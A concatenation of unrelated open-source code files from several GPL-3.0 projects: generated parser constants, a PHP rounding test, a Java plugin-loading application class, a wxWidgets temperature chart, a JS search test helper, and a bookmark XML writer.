public static final BitSet FOLLOW_ruletypeName_in_rule__ReferenceDeclaration__Group__3__Impl3444 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__ReferenceDeclaration__Group__4__Impl_in_rule__ReferenceDeclaration__Group__43473 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_ruleannotationDeclr_in_rule__ReferenceDeclaration__Group__4__Impl3501 = new BitSet(new long[]{0x0000000080000002L});
public static final BitSet FOLLOW_rule__DependencyDeclaration__Group__0__Impl_in_rule__DependencyDeclaration__Group__03542 = new BitSet(new long[]{0x0000000000000040L});
public static final BitSet FOLLOW_rule__DependencyDeclaration__Group__1_in_rule__DependencyDeclaration__Group__03545 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_28_in_rule__DependencyDeclaration__Group__0__Impl3573 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__DependencyDeclaration__Group__1__Impl_in_rule__DependencyDeclaration__Group__13604 = new BitSet(new long[]{0x0000000008000000L});
public static final BitSet FOLLOW_rule__DependencyDeclaration__Group__2_in_rule__DependencyDeclaration__Group__13607 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_RULE_ID_in_rule__DependencyDeclaration__Group__1__Impl3634 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__DependencyDeclaration__Group__2__Impl_in_rule__DependencyDeclaration__Group__23663 = new BitSet(new long[]{0x0000000000000040L});
public static final BitSet FOLLOW_rule__DependencyDeclaration__Group__3_in_rule__DependencyDeclaration__Group__23666 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_27_in_rule__DependencyDeclaration__Group__2__Impl3694 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__DependencyDeclaration__Group__3__Impl_in_rule__DependencyDeclaration__Group__33725 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_ruletypeName_in_rule__DependencyDeclaration__Group__3__Impl3752 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__InputDeclaration__Group__0__Impl_in_rule__InputDeclaration__Group__03789 = new BitSet(new long[]{0x0000000000000040L});
public static final BitSet FOLLOW_rule__InputDeclaration__Group__1_in_rule__InputDeclaration__Group__03792 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_29_in_rule__InputDeclaration__Group__0__Impl3820 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__InputDeclaration__Group__1__Impl_in_rule__InputDeclaration__Group__13851 = new BitSet(new long[]{0x0000000000000020L});
public static final BitSet FOLLOW_rule__InputDeclaration__Group__2_in_rule__InputDeclaration__Group__13854 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_RULE_ID_in_rule__InputDeclaration__Group__1__Impl3881 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__InputDeclaration__Group__2__Impl_in_rule__InputDeclaration__Group__23910 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_RULE_STRING_in_rule__InputDeclaration__Group__2__Impl3937 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__OutputDeclaration__Group__0__Impl_in_rule__OutputDeclaration__Group__03972 = new BitSet(new long[]{0x0000000000000040L});
public static final BitSet FOLLOW_rule__OutputDeclaration__Group__1_in_rule__OutputDeclaration__Group__03975 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_30_in_rule__OutputDeclaration__Group__0__Impl4003 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__OutputDeclaration__Group__1__Impl_in_rule__OutputDeclaration__Group__14034 = new BitSet(new long[]{0x0000000008000000L});
public static final BitSet FOLLOW_rule__OutputDeclaration__Group__2_in_rule__OutputDeclaration__Group__14037 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_RULE_ID_in_rule__OutputDeclaration__Group__1__Impl4064 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__OutputDeclaration__Group__2__Impl_in_rule__OutputDeclaration__Group__24093 = new BitSet(new long[]{0x000000000001F840L});
public static final BitSet FOLLOW_rule__OutputDeclaration__Group__3_in_rule__OutputDeclaration__Group__24096 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_27_in_rule__OutputDeclaration__Group__2__Impl4124 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__OutputDeclaration__Group__3__Impl_in_rule__OutputDeclaration__Group__34155 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_ruleattributeType_in_rule__OutputDeclaration__Group__3__Impl4182 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__AnnotationDeclr__Group__0__Impl_in_rule__AnnotationDeclr__Group__04219 = new BitSet(new long[]{0x0000000000000040L});
public static final BitSet FOLLOW_rule__AnnotationDeclr__Group__1_in_rule__AnnotationDeclr__Group__04222 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_31_in_rule__AnnotationDeclr__Group__0__Impl4250 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__AnnotationDeclr__Group__1__Impl_in_rule__AnnotationDeclr__Group__14281 = new BitSet(new long[]{0x0000000000000030L});
public static final BitSet FOLLOW_rule__AnnotationDeclr__Group__2_in_rule__AnnotationDeclr__Group__14284 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_RULE_ID_in_rule__AnnotationDeclr__Group__1__Impl4311 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__AnnotationDeclr__Group__2__Impl_in_rule__AnnotationDeclr__Group__24340 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__AnnotationDeclr__Alternatives_2_in_rule__AnnotationDeclr__Group__2__Impl4367 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_ruleannotationDeclr_in_rule__Model__AnnotationsAssignment_04409 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_ruledecl_in_rule__Model__DeclarationsAssignment_14440 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_ruleannotationDeclr_in_rule__ClassDeclr__AnnotationsAssignment_44471 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_ruleclassElemDeclr_in_rule__ClassDeclr__DeclarationsAssignment_54502 = new BitSet(new long[]{0x0000000000000002L});
} | gpl-3.0 |
leonardopedro/flavour | docs/search/enums_1.js | 554 | var searchData=
[
['fcharge',['FCharge',['../namespaceBGLmodels.html#ad1925965d586f009337aca12bbbc6c07',1,'BGLmodels']]],
['fflavour',['FFlavour',['../namespaceBGLmodels.html#a06a0a1b4e9a1d8bf7597a208e1a16c93',1,'BGLmodels']]],
['fhelicity',['FHelicity',['../namespaceBGLmodels.html#a3e13a417250689ff382142471544d438',1,'BGLmodels']]],
['fisospin',['FIsospin',['../namespaceBGLmodels.html#a7eee03237cfcb5cba20b65aac43026a3',1,'BGLmodels']]],
['ftype',['FType',['../namespaceBGLmodels.html#a94605e3cd68ac1adf3228d3e8f2e5cd4',1,'BGLmodels']]]
];
| gpl-3.0 |
tukusejssirs/eSpievatko | spievatko/espievatko/prtbl/srv/new/php-5.2.5/ext/standard/tests/math/bug24142.phpt | 462 | --TEST--
Bug #24142 (round() problems)
--FILE--
<?php // $Id: bug24142.phpt,v 1.4 2003/08/09 16:44:33 iliaa Exp $ vim600:syn=php
$v = 0.005;
for ($i = 1; $i < 10; $i++) {
echo "round({$v}, 2) -> ".round($v, 2)."\n";
$v += 0.01;
}
?>
--EXPECT--
round(0.005, 2) -> 0.01
round(0.015, 2) -> 0.02
round(0.025, 2) -> 0.03
round(0.035, 2) -> 0.04
round(0.045, 2) -> 0.05
round(0.055, 2) -> 0.06
round(0.065, 2) -> 0.07
round(0.075, 2) -> 0.08
round(0.085, 2) -> 0.09
| gpl-3.0 |
lsimedia/TinyRCP | src/org/tinyrcp/App.java | 18402 | /*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package org.tinyrcp;
import java.awt.Color;
import java.awt.GraphicsConfiguration;
import java.awt.GraphicsDevice;
import java.awt.GraphicsEnvironment;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.io.File;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import java.util.MissingResourceException;
import java.util.ResourceBundle;
import java.util.jar.Manifest;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JMenu;
import javax.swing.JMenuItem;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.tinyrcp.desk.JDeskFactory;
import org.tinyrcp.grid.JGridFactory;
import org.tinyrcp.split.JSplitFactory;
import org.tinyrcp.tabs.JTabsFactory;
import org.w3c.dom.Element;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
/**
* Application resources singleton<p>
*
* Store all shared resources here<p>
*
* @author sbodmer
*/
public class App {
/**
* Main class loader for all plugins
*/
protected JarClassLoader loader = null;
/**
* The application folder to store the configuration and load plugins
*/
protected File appFolder = null;
protected String appName = "application";
/**
* List of all found factories grouped by category (extracted from manifest)
*/
protected HashMap<String, ArrayList<TinyFactory>> factories = new HashMap<>();
/**
* XML builder
*/
protected DocumentBuilder builder = null;
/**
* Store the factory origin file, the key is the factory, the value the jar
* containing the factory class
*/
protected HashMap<TinyFactory, String> origin = new HashMap<>();
/**
* The resource bundles<p>
*
* <PRE>
* "App" for the main app bundle
* </PRE>
*/
protected HashMap<String, ResourceBundle> bundles = new HashMap<>();
/**
* List of interested listener for global evens fired by other coponents
*/
protected ArrayList<ActionListener> listeners = new ArrayList<>();
/**
* Simple storage
*/
protected HashMap<String, Object> storage = new HashMap<>();
/**
* Instantiate all the factories here, the configuration of the factories is
* done late<p>
*
* If the manualFactories param is filled, then the passed classes are also
* created and added to the factories list<p>
*
* @param loader
* @param appName
* @param manualFactories The list of manual factories to add (or null if
* none), the array contains the full qualified class names
*/
public App(JarClassLoader loader, String appName, ArrayList<String> manualFactories) {
this.loader = loader;
this.appName = appName;
bundles.put("App", ResourceBundle.getBundle("org.tinyrcp.App"));
appFolder = new File(System.getProperty("user.home"), "." + appName);
appFolder.getParentFile().mkdirs();
//--- Create the xml builder
try {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
builder = factory.newDocumentBuilder();
} catch (Exception ex) {
ex.printStackTrace();
}
//--- Insert built in factories
ArrayList<TinyFactory> list = new ArrayList<>();
list.add(new JTabsFactory());
list.add(new JDeskFactory());
list.add(new JSplitFactory());
list.add(new JGridFactory());
factories.put(TinyFactory.PLUGIN_CATEGORY_PANEL, list);
//----------------------------------------------------------------------
//--- Prepare the manual factories
//----------------------------------------------------------------------
if (manualFactories != null) {
for (int i = 0; i < manualFactories.size(); i++) {
String cla = manualFactories.get(i);
try {
Class cl = Class.forName(cla, true, loader);
//--- Always empty constructor
TinyFactory factory = (TinyFactory) cl.newInstance();
list = factories.get(factory.getFactoryCategory());
if (list == null) {
list = new ArrayList<>();
factories.put(factory.getFactoryCategory(), list);
}
list.add(factory);
System.out.println("(I) Manual Tiny Factory instantiated [" + factory.getFactoryCategory() + "] " + factory.getFactoryName());
System.out.flush();
} catch (Exception ex) {
System.err.println("(E) Manual Tiny Factory " + cla + " :" + ex.getMessage());
ex.printStackTrace();
}
}
}
//----------------------------------------------------------------------
//--- Prepare dynamic loaded factories
//----------------------------------------------------------------------
Iterator<String> paths = loader.getManifests().keySet().iterator();
//--- Prepare the classes to instantiate
while (paths.hasNext()) {
String path = paths.next();
//--- Do until the attribut was not found
Manifest manifest = loader.getManifest(path);
java.util.jar.Attributes attr = manifest.getMainAttributes();
String classnames = attr.getValue("Tiny-Factory");
if (classnames != null) {
//--- Split classes
String classname[] = classnames.split(" ");
for (int i = 0; i < classname.length; i++) {
String cla = classname[i].trim();
try {
Class cl = Class.forName(cla.trim(), true, loader);
//--- Always empty constructor
TinyFactory factory = (TinyFactory) cl.newInstance();
list = factories.get(factory.getFactoryCategory());
if (list == null) {
list = new ArrayList<>();
factories.put(factory.getFactoryCategory(), list);
}
list.add(factory);
System.out.println("(I) Dynamic Tiny Factory instantiated [" + factory.getFactoryCategory() + "] " + factory.getFactoryName());
System.out.flush();
origin.put(factory, path);
} catch (Exception ex) {
System.err.println("(E) Dynamic Tiny Factory " + cla + " :" + ex.getMessage());
ex.printStackTrace();
}
}
}
}
}
//**************************************************************************
//*** API
//**************************************************************************
public void addActionListener(ActionListener listener) {
if (!listeners.contains(listener)) listeners.add(listener);
}
public boolean removeActionListener(ActionListener listener) {
return listeners.remove(listener);
}
/**
* Store an arbitrary data object
*
* @param key
* @param obj
* @return
*/
public Object storeData(String key, Object obj) {
return storage.put(key, obj);
}
public Object fetchData(String key) {
return storage.get(key);
}
/**
* Remove an arbitrary stored object
*
* @param key
* @return
*/
public Object removeData(String key) {
return storage.remove(key);
}
/**
* Fire the event to all registered action listener
* @param evt
*/
public void fireActionPerformed(ActionEvent evt) {
for (int i=0;i<listeners.size();i++) listeners.get(i).actionPerformed(evt);
}
public JarClassLoader getLoader() {
return loader;
}
public String getAppName() {
return appName;
}
public File getAppFolder() {
return appFolder;
}
/**
* Returns the translated string (or the key if not found)
* <p>
*
* If the bundle is null, try to search all stored bundles<p>
*
* @param key
* @param bundle
* @return
*/
public String getString(String key, String bundle) {
try {
if (bundle != null) return bundles.get(bundle).getString(key);
Iterator<ResourceBundle> it = bundles.values().iterator();
while (it.hasNext()) {
try {
return it.next().getString(key);
} catch (MissingResourceException ex) {
}
}
} catch (MissingResourceException ex) {
//---
}
return key;
}
/**
* Returns the shared document builder instance<p>
*
* @param in
* @return
*/
public DocumentBuilder getDocumentBuilder() {
return builder;
}
/**
* Create the menu which lists the plugin for the family<p>
*
* The passed listener will received an event when item is selected
* <PRE>
* ID : ACTION_PERFORMED
* ActionCommand : "newPlugin"
* ClientProperty: "factory" (TinyFactory)
* </PRE>
*
* @param listener
* @return
*/
public JMenu createFactoryMenus(String title, String category, String family, ActionListener listener) {
JMenu jmenu = new JMenu(title);
// jmenu.setFont(new Font("Arial", 0, 11));
jmenu.setActionCommand("menu");
ArrayList<TinyFactory> facs = getFactories(category);
for (int i = 0; i < facs.size(); i++) {
TinyFactory factory = facs.get(i);
if ((family != null) && !factory.getFactoryFamily().equals(family)) continue;
//--- create menu
JMenuItem jitem = new JMenuItem(factory.getFactoryName());
jitem.setIcon(factory.getFactoryIcon(TinyFactory.ICON_SIZE_NORMAL));
// jitem.setFont(new java.awt.Font("Arial", 0, 11));
jitem.setActionCommand("newPlugin");
jitem.putClientProperty("factory", factory);
jitem.addActionListener(listener);
jmenu.add(jitem);
}
return jmenu;
}
public JMenu createFactoryMenus(String title, String category, String family, Object support, ActionListener listener) {
JMenu jmenu = new JMenu(title);
// jmenu.setFont(new Font("Arial", 0, 11));
jmenu.setActionCommand("menu");
ArrayList<TinyFactory> facs = getFactories(category);
for (int i = 0; i < facs.size(); i++) {
TinyFactory factory = facs.get(i);
if ((family != null) && !factory.getFactoryFamily().equals(family)) continue;
if (!factory.doesFactorySupport(support)) continue;
//--- create menu
JMenuItem jitem = new JMenuItem(factory.getFactoryName());
jitem.setIcon(factory.getFactoryIcon(TinyFactory.ICON_SIZE_NORMAL));
// jitem.setFont(new java.awt.Font("Arial", 0, 11));
jitem.setActionCommand("newPlugin");
jitem.putClientProperty("factory", factory);
jitem.addActionListener(listener);
jmenu.add(jitem);
}
return jmenu;
}
/**
* Initilaize the factories
*
*/
public void initialize() {
ArrayList<TinyFactory> facs = getFactories(null);
for (int i = 0; i < facs.size(); i++) facs.get(i).initialize(this);
}
/**
* Configure all factories with the pass config (if config is null, the
* factory are configured with a null element)
* <p>
*
* This method can be called multiple times<p>
*
* @param config
*/
public void configure(Element config) {
//--- Store each factory element for later use
HashMap<String, Element> configs = new HashMap<>();
if (config != null) {
NodeList nl = config.getChildNodes();
for (int i = 0; i < nl.getLength(); i++) {
Node n = nl.item(i);
if (n.getNodeName().equals("TinyFactory")) {
Element e = (Element) n;
configs.put(e.getAttribute("class"), e);
}
}
}
//--- Find all factories
ArrayList<TinyFactory> facs = getFactories(null);
//--- Configure factories
for (int i = 0; i < facs.size(); i++) {
TinyFactory fac = facs.get(i);
fac.configure(configs.get(fac.getClass().getName()));
}
}
/**
* Store the config for each factory
*
* @param config
*/
public void store(Element config) {
if (config == null) return;
ArrayList<TinyFactory> facs = getFactories(null);
for (int i = 0; i < facs.size(); i++) {
TinyFactory fac = facs.get(i);
Element e = config.getOwnerDocument().createElement("TinyFactory");
e.setAttribute("class", fac.getClass().getName());
fac.store(e);
config.appendChild(e);
}
}
public void destroy() {
ArrayList<TinyFactory> facs = getFactories(null);
for (int i = 0; i < facs.size(); i++) facs.get(i).destroy();
}
/**
* Add a new factory to the correct category<p>
*
* The passed factory should be fully realized (inited and confiugured)
* <p>
*
* @param factory
*/
public void addFactory(TinyFactory factory) {
ArrayList<TinyFactory> facs = factories.get(factory.getFactoryCategory());
if (facs == null) {
facs = new ArrayList<>();
factories.put(factory.getFactoryCategory(), facs);
}
if (!facs.contains(factory)) facs.add(factory);
}
/**
* Return the factory instance for the given factory class name (if present)
*
* If the factory is not found, null is returned<p>
*
* @param classname
* @param category
* @return
*/
public TinyFactory getFactory(String classname) {
ArrayList<TinyFactory> fac = getFactories(null);
for (int i = 0; i < fac.size(); i++) {
TinyFactory f = fac.get(i);
if (f.getClass().getName().equals(classname)) return f;
}
return null;
}
/**
* Return the origin jar file path or null if not loaded from an external
* jar<p>
*
* @param f
* @return
*/
public String getFactoryOrigin(TinyFactory f) {
return origin.get(f);
}
/**
* Return the list of the factories or en empty vector if none were
* present<p>
*
* If null is passed, then all factories are returned<p>
*
* @param category The factories category
* @return
*/
public ArrayList<TinyFactory> getFactories(String category) {
ArrayList<TinyFactory> fac = new ArrayList<>();
if (category != null) {
ArrayList<TinyFactory> tmp = factories.get(category);
if (tmp != null) for (int i = 0; i < tmp.size(); i++) fac.add(tmp.get(i));
} else {
Iterator<ArrayList<TinyFactory>> it = factories.values().iterator();
while (it.hasNext()) {
ArrayList<TinyFactory> f = it.next();
for (int i = 0; i < f.size(); i++) fac.add(f.get(i));
}
}
return fac;
}
public ArrayList<TinyFactory> getFactories(String category, String family) {
ArrayList<TinyFactory> fac = new ArrayList<>();
ArrayList<TinyFactory> facs = getFactories(category);
for (TinyFactory f: facs) if (f.getFactoryFamily().equals(family)) fac.add(f);
return fac;
}
static public void showScreenIdentifiers() {
//--- Try to find the selected graphics device
final ArrayList<JFrame> frames = new ArrayList<JFrame>();
//--- Find available screens
GraphicsEnvironment ge = GraphicsEnvironment.getLocalGraphicsEnvironment();
GraphicsDevice[] gds = ge.getScreenDevices();
for (int i = 0; i < gds.length; i++) {
GraphicsDevice gd = gds[i];
GraphicsConfiguration gc = gd.getDefaultConfiguration();
JFrame jt = new JFrame("", gc);
jt.setUndecorated(true);
JLabel jlabel = new JLabel(gd.getIDstring());
jt.add(jlabel);
jlabel.setOpaque(true);
jlabel.setBackground(Color.BLUE);
jlabel.setForeground(Color.WHITE);
// jt.setSize(200,200);
jt.pack();
jt.setVisible(true);
frames.add(jt);
}
Thread t = new Thread() {
public void run() {
setName("ScreenIdentifier closing thread");
try {
sleep(5000);
for (int i = 0; i < frames.size(); i++) {
JFrame jt = frames.get(i);
jt.setVisible(false);
jt.dispose();
}
} catch (InterruptedException ex) {
//---
}
}
};
t.start();
}
/**
* Find the md5 for a string
*
* @param md5
* @return
*/
static public String MD5(String md5) {
if (md5 == null) return "";
try {
java.security.MessageDigest md = java.security.MessageDigest.getInstance("MD5");
byte[] array = md.digest(md5.getBytes());
StringBuilder sb = new StringBuilder();
for (int i = 0; i < array.length; ++i) {
sb.append(Integer.toHexString((array[i] & 0xFF) | 0x100).substring(1, 3));
}
return sb.toString();
} catch (java.security.NoSuchAlgorithmException e) {
}
return null;
}
}
| gpl-3.0 |
gszura/wx-nfp | src/temperaturesChart.cpp | 6672 | /*******************************************************************************
//
// Name: temperaturesChart.cpp
// Author: inspired by szybig 'cycleGraph'
// Description:
//
*******************************************************************************/
#include "temperaturesChart.h"
#include <wx/arrimpl.cpp>
WX_DEFINE_OBJARRAY(wxArrayTemperatures);
temperaturesChart::temperaturesChart(configClass *config, cycleDataClass *cycleData)
: chart(config, cycleData, _("temperature in cycles"), _("How many times the same temperature has been mesured in the same cycle day"))
{
m_daysCount = 0;
}
temperaturesChart::~temperaturesChart()
{
//dtor
}
/**
* Update data and print chart
*/
void temperaturesChart::updateChartData()
{
initData();
}
/**
* Print chart without updating data
*/
void temperaturesChart::printChart(int width, int height, wxDC &dc)
{
if (m_daysCount == 0)
initData();
wxArrayString namesLeft;
namesLeft.Add(_T("37,45"));
namesLeft.Add(_("temperature"));
wxArrayString namesTop;
namesTop.Add(_("temperature"));
wxArrayString namesBottom;
namesBottom.Add(m_util.intToStr(m_daysCount));
namesBottom.Add(_("day of cycle"));
wxArrayString namesRight;
namesRight.Add(wxString::Format( _( "%d times" ), m_maxCount ) + _T("abla"));
calculateMargins(dc, width, height, &namesLeft, &namesRight, &namesTop, &namesBottom, m_tempPointsCount, m_daysCount);
drawAxisVertical(dc, _("temperature"), &m_points, -1, true, true);
drawAxisHorizontal(dc, _("day of cycle"), m_daysCount, -1, true);
drawTemperaturesLegend(dc);
drawTemperaturesMatrix(dc);
}
void temperaturesChart::initData()
{
m_daysCount = getNumberOfDaysInLongestNormalCycle();
m_data.Clear();
m_points.Clear();
// init data array
for (int i=0; i<=m_daysCount; i++) {
temperaturesMap m;
m_data.Add(m);
}
m_minTemp = 9999;
m_maxTemp = 0;
m_maxCount = 0;
for( int i = 1; i <= m_cycleData->getCardsCount(); i++ ) {
cardEntry *card = m_cycleData->getCard(i);
if ( card->getCycleType() == CYCLE_TYPE_AFTER_PREGNANCY || card->getCycleType() == CYCLE_TYPE_PERI_MENOPAUSE )
continue;
int daysCount = card->getDaysCount();
if ( card->getCycleType() == CYCLE_TYPE_PREGNANCY && daysCount > m_daysCount )
daysCount = m_daysCount;
for( int day=1; day<=daysCount; day++ ) {
if (card->getDay(day)->getTemperatureDisturbances())
continue;
int temperature = card->getDay(day)->getTemperatureValueAfterCorrections();
if (temperature <= 0)
continue;
m_data[day][temperature]++;
if (m_maxCount < m_data[day][temperature])
m_maxCount = m_data[day][temperature];
if( temperature > m_maxTemp )
m_maxTemp = temperature;
if(temperature < m_minTemp)
m_minTemp = temperature;
}
}
if (m_minTemp == 9999)
m_minTemp = 3660;
if (m_maxTemp == 0)
m_maxTemp = 3750;
m_tempPointsCount = (m_maxTemp - m_minTemp) / STEP + 1;
m_points.Clear();
for (int t=m_minTemp; t<=m_maxTemp; t+=STEP) {
m_points.Add( m_util.temperatureToStr(t) );
}
}
int temperaturesChart::getNumberOfDaysInLongestNormalCycle()
{
int maxDays = 0;
for( int i = 1; i <= m_cycleData->getCardsCount(); i++ ) {
cardEntry *card = m_cycleData->getCard(i);
if ( card->getCycleType() == CYCLE_TYPE_NORMAL) {
int days = card->getDaysCount();
if( days > maxDays ) maxDays = days;
}
}
if( maxDays == 0 ) maxDays = 28;
return maxDays;
}
/**
*
*/
void temperaturesChart::drawTemperaturesLegend(wxDC &dc)
{
int textWidth, textHeight, legendY = m_marginTop + 5;
wxString str = wxString::Format( _( "%d times" ), m_maxCount );
dc.SetPen( wxPen( m_config->fontResultDefaultColour ) );
dc.GetMultiLineTextExtent( str, &textWidth, &textHeight );
int cellHeight = ( m_chartHeight + m_marginTop - legendY ) / ( m_maxCount + 1 );
if (cellHeight > m_onePointHeight) cellHeight = m_onePointHeight;
int cellWidth = m_marginRight / 2;
if (cellWidth > m_onePointWidth) cellWidth = m_onePointWidth;
if ( cellWidth + m_marginRight / 2 > textWidth ) {
textWidth = cellWidth + m_marginRight / 2;
} else {
cellWidth = textWidth - m_onePointWidth;
}
dc.DrawLabel( str, wxRect( m_legendX, legendY, textWidth, textHeight ), wxALIGN_RIGHT );
legendY += textHeight + 1;
dc.SetPen( wxPen( wxColour(220, 220, 220) ));
for ( int i = m_maxCount; i >= 1; i-- ) {
int c = 375 * i / m_maxCount;
unsigned char red = (unsigned char)(255 - c);
unsigned char green = (unsigned char)255;
unsigned char blue = (unsigned char)(255 - c);
if (c > 255) {
red = (unsigned char)0;
green = (unsigned char)(255 * 2 - c);
blue = (unsigned char)0;
}
dc.SetBrush( wxBrush( wxColour(red, green, blue) ));
dc.DrawRectangle( m_legendX + m_marginRight / 2, legendY, cellWidth, cellHeight);
legendY += cellHeight;
}
dc.SetBrush( wxBrush( wxColour(255, 255, 255) ));
dc.DrawRectangle( m_legendX + m_marginRight / 2, legendY, cellWidth, cellHeight);
legendY += cellHeight + 1;
str = wxString::Format( _( "%d times" ), 0 );
dc.SetPen( wxPen( m_config->fontResultDefaultColour ) );
dc.DrawLabel( str, wxRect( m_legendX, legendY, textWidth, textHeight ), wxALIGN_RIGHT );
}
/**
*
*/
void temperaturesChart::drawTemperaturesMatrix(wxDC &dc)
{
for (int d=0; d<=m_daysCount; d++) {
int y = 1;
for (int t=m_minTemp; t<=m_maxTemp; t+=STEP) {
if ( m_data[d].count(t) > 0 ) {
int c = 375 * m_data[d][t] / m_maxCount;
unsigned char red = (unsigned char)(255 - c);
unsigned char green = (unsigned char)255;
unsigned char blue = (unsigned char)(255 - c);
if (c > 255) {
red = (unsigned char)0;
green = (unsigned char) (255 * 2 - c);
blue = (unsigned char)0;
}
dc.SetPen( wxPen( wxColour(red, green, blue) ));
dc.SetBrush( wxBrush( wxColour(red, green, blue) ));
dc.DrawRectangle( m_x0 + (d-1) * m_onePointWidth + 1, m_y0 - m_onePointHeight * y - 1, m_onePointWidth, m_onePointHeight );
}
y++;
}
}
}
| gpl-3.0 |
findhit/auto-advanced-search | test/resources/full-text-generator.js | 1700 | var aas = require( '../../' ),
Util = require( 'findhit-util' ),
chai = require( 'chai' ),
expect = chai.expect,
database = require( './database' );
/**
* fullTextGenerator - this function will test a query and consecutive arguments
* if they match and respect order by checking name on instance.
*
* @param {type} query description
* @return {type} description
*/
function fullTextGenerator ( query, expected ) {
if( Util.isnt.String( query ) && ! query ) {
throw new TypeError( "please provide a valid query argument" );
}
if( Util.isnt.Array( expected ) && expected.length === 0 ) {
throw new TypeError( "please provide a valid expected argument" );
}
var match = aas([
'FullTextSearch.name',
'FullTextSearch.intro'
], query );
// Execute a findAll query similar to what we do internally
return database.models.FullTextSearch
.findAll({
where: match,
order: [
[ database.Sequelize.literal( match ), 'DESC' ],
]
})
.then(function ( rows ) {
for ( var i in expected ) {
var instance = rows[ i ];
if( ! instance ) {
console.log( match );
throw new Error( "Expected '"+ expected[ i ] +"' but I didn't found an instance on that position" );
}
if( instance.name !== expected[ i ] ) {
console.log( match, rows.map(function ( instance ) { return instance.toJSON() }) );
throw new Error( "Expected '"+ expected[ i ] +"' but instance was '"+ instance.name +"'" );
}
}
});
};
module.exports = fullTextGenerator;
| gpl-3.0 |
trol73/mucommander | src/main/com/mucommander/bookmark/BookmarkWriter.java | 2754 | /*
* This file is part of muCommander, http://www.mucommander.com
* Copyright (C) 2002-2012 Maxence Bernard
*
* muCommander is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 3 of the License, or
* (at your option) any later version.
*
* muCommander is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package com.mucommander.bookmark;
import com.mucommander.RuntimeConstants;
import com.mucommander.utils.xml.XmlAttributes;
import com.mucommander.utils.xml.XmlWriter;
import java.io.IOException;
import java.io.OutputStream;
/**
* This class provides a method to write bookmarks to an XML file.
*
* @author Maxence Bernard, Nicolas Rinaudo
*/
class BookmarkWriter implements BookmarkConstants, BookmarkBuilder {
private final XmlWriter out;
BookmarkWriter(OutputStream stream) throws IOException {
out = new XmlWriter(stream);
}
public void startBookmarks() throws BookmarkException {
// Root element
try {
// Version the file.
// Note: the version attribute was introduced in muCommander 0.8.4.
XmlAttributes attributes = new XmlAttributes();
attributes.add("version", RuntimeConstants.VERSION);
out.startElement(ELEMENT_ROOT, attributes);
out.println();
} catch(IOException e) {
throw new BookmarkException(e);
}
}
public void endBookmarks() throws BookmarkException {
try {
out.endElement(ELEMENT_ROOT);
} catch(IOException e) {
throw new BookmarkException(e);
}
}
public void addBookmark(String name, String location, String parent) throws BookmarkException {
try {
out.startElement(ELEMENT_BOOKMARK);
out.println();
writeElement(ELEMENT_NAME, name);
writeElement(ELEMENT_LOCATION, location);
writeElement(ELEMENT_PARENT, parent);
out.endElement(ELEMENT_BOOKMARK);
} catch(IOException e) {
throw new BookmarkException(e);
}
}
private void writeElement(String name, String value) throws IOException {
if (value != null) {
out.startElement(name);
out.writeCData(value);
out.endElement(name);
}
}
}
| gpl-3.0 |
kdbanman/browseRDF | tulip-3.8.0-src/software/plugins-manager/server/src/PluginInstaller.cpp | 6501 | /**
*
* This file is part of Tulip (www.tulip-software.org)
*
* Authors: David Auber and the Tulip development Team
* from LaBRI, University of Bordeaux 1 and Inria Bordeaux - Sud Ouest
*
* Tulip is free software; you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License
* as published by the Free Software Foundation, either version 3
* of the License, or (at your option) any later version.
*
